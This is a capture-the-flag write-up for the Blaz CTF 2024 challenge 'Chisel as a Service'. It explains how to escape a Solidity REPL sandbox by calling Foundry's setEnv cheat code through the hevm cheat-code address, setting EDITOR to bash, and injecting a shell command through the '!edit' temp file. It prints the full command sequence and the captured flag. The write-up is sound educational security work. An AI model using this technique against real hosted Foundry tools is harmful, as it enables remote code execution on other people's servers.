Blaz CTF 2024 - Chisel as a Service
Challenge
Mina just develops a highly robust Solidity sandbox!
import express from "express";
import { $ } from "zx";
const app = express();
const PORT = parseInt(process.env.PORT) || 3000;
app.use(express.static("public"));
app.get("/run", async (req, res) => {
try {
const code = String(req.query.code);
if(/^[\x20-\x7E\r\n]*$/.test(code) === false)
throw new Error("Invalid characters");
const commands = code.toLowerCase().match(/![a-z]+/g);
if (commands !== null && (commands.includes("!exec") || commands.includes("!e")))
throw new Error("!exec is not allowed");
const uuid = crypto.randomUUID();
await $({
cwd: "public/out",
timeout: "3s",
input: code,
})`chisel --no-vm > ${uuid}`;
res.send({ uuid });
} catch(e) {
console.log(e)
res.status(500).send("error");
}
});
app.listen(PORT);
Solve
I did not solve this challenge during the CTF competition because even though I understood the challenge, I didnβt figure out a proper solution to bypass the sandbox restrictions.
It wasn't until minaminao γγ released the official solution that I suddenly realized how simple this solution is. π
The challenge is quite intuitive. Our target is RCE this service allows us to read the flag.txt. However, there are some restrictions:
Unable to execute shell command in chisel sandbox via
!e
!exec
commands.Unable to use
vm.*
cheat codes (which meansvm.setEnv()
vm.ffi()
vm.readFile()
are disabled).
We can use the !help
command to list all available chisel commands:
β !help
βοΈ Chisel help
=============
General
!help | !h - Display all commands
!quit | !q - Quit Chisel
!exec <command> [args] | !e <command> [args] - Execute a shell command and print the output
Session
!clear | !c - Clear current session source
!source | !so - Display the source code of the current session
!save [id] | !s [id] - Save the current session to cache
!load <id> | !l <id> - Load a previous session ID from cache
!list | !ls - List all cached sessions
!clearcache | !cc - Clear the chisel cache of all stored sessions
!export | !ex - Export the current session source to a script file
!fetch <addr> <name> | !fe <addr> <name> - Fetch the interface of a verified contract on Etherscan
!edit - Open the current session in an editor
Environment
!fork <url> | !f <url> - Fork an RPC for the current session. Supply 0 arguments to return to a local network
!traces | !t - Enable / disable traces for the current session
!calldata [data] | !cd [data] - Set calldata (`msg.data`) for the current session (appended after function selector). Clears it if no argument provided.
Debug
!memdump | !md - Dump the raw memory of the current state
!stackdump | !sd - Dump the raw stack of the current state
!rawstack <var> | !rs <var> - Display the raw value of a variable's stack allocation. For variables that are > 32 bytes in length, this will display their memory pointer
I found that the !edit
command would open my VIM editor. I thought this was the most likely vulnerability. Maybe the final solution was VIM sandbox bypassing exploit or command injection.
From the foundry-rs/foundry repo, we can find that the !edit
command attempts to use the $EDITOR
environment variable to open /tmp/chisel-tmp.sol
. If $EDITOR
is not set, the vim
command is used to open /tmp/chisel-tmp by default.sol
.
let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
So if we can set the $EDITOR
environment variable to shell like bash
or zsh
, then we can start a shell through the !edit
command. But the VM mode is disabled, how could we set the environment variable?
We can find that the difference between adding the --no-vm
parameter and not adding this parameter is just whether the REPL
contract inherits the Vm
contract:
β°β chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
β !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
contract REPL {
/// @notice REPL contract entry point
function run() public {}
}
β°β chisel
Welcome to Chisel! Type `!help` to show available commands.
β !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
import {Vm} from "forge-std/Vm.sol";
contract REPL {
Vm internal constant vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
/// @notice REPL contract entry point
function run() public {}
}
On this basis, we check the source code of forge-std/Vm.sol, and we can found that the Vm
is just a interface
.
interface VmSafe {
...
}
interface Vm is VmSafe {
...
}
I thnk this means that under the foundry-rs family, address(uint160(uint256(keccak256("hevm cheat code"))))
may be set to a whitelist address. When the developer calling address(uint160(uint256(keccak256("hevm cheat code"))))
contract under the Foundry environment, it will be treated as cheat code commands, and the Foundry is responsible for processing system-level commands.
We can verify this thought under a local Foundry environment:
β°β chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
β interface Vm { function setEnv(string calldata name, string calldata value) external; }
β Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
β vm.setEnv("EDITOR", "bash");
β !source
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.26;
interface Vm {
function setEnv(string calldata name, string calldata value) external;
}
contract REPL {
/// @notice REPL contract entry point
function run() public {
Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
vm.setEnv("EDITOR", "bash");
}
}
β !edit
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: syntax error near unexpected token `('
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: `Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));'
Editor exited with status 2
Wow! we successfully executed the bash
command under βno-vm
!
The next question is "How to successfully execute any shell commands"?
The answer is simple, since we turned the /var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol
file from a plaintext file to a shell script file, we just need to make a command injection in the temp file!
//; cat /flag.txt # Must use "//" comment to make chisel REPL console write this line into .sol file
Why we canβt just use vm.setEnv("EDITOR", "cat /flag.txt")
to achieve the goal? Itβs because when we execute the !edit
command, the above code will be converted to cat /flag.txt /var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol
, resulting the flag.txt
cannot be shown via stdout.
ChiselCommand::Edit => {
// create a temp file with the content of the run code
let mut temp_file_path = std::env::temp_dir();
temp_file_path.push("chisel-tmp.sol");
let result = std::fs::File::create(&temp_file_path)
.map(|mut file| file.write_all(self.source().run_code.as_bytes()));
if let Err(e) = result {
return DispatchResult::CommandFailed(format!(
"Could not write to a temporary file: {e}"
))
}
// open the temp file with the editor
let editor = std::env::var("EDITOR").unwrap_or_else(|_| "vim".to_string());
let mut cmd = Command::new(editor);
cmd.arg(&temp_file_path); // [cat /flag.txt] [/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol]
// ...
}
Full solution code (in local sandbox):
β°β chisel --no-vm
Welcome to Chisel! Type `!help` to show available commands.
β //; cat /tmp/flag*
β interface Vm { function setEnv(string calldata name, string calldata value) external; }
β Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));
β vm.setEnv("EDITOR", "bash");
β !edit
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 1: //: Is a directory
whiteberets{u_got_me}
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 2: syntax error near unexpected token `('
/var/folders/h7/xyg6y99s3x5g13p_2nc6q02r0000gn/T/chisel-tmp.sol: line 2: `Vm vm = Vm(address(uint160(uint256(keccak256("hevm cheat code")))));'
Editor exited with status 2
I think the biggest takeaway from this challenge was understanding how the Foundry family uses Vm.sol
to interact with cheating address. π
Potential Patches
None, this CTF challenge is just designed for fun.
The best practice is do not using chisel as a service π.
Subscribe to my newsletter
Read articles from whiteberets[.]eth directly inside your inbox. Subscribe to the newsletter, and don't miss out.
Written by
whiteberets[.]eth
whiteberets[.]eth
Please don't OSINT me, I'd be shy. π«£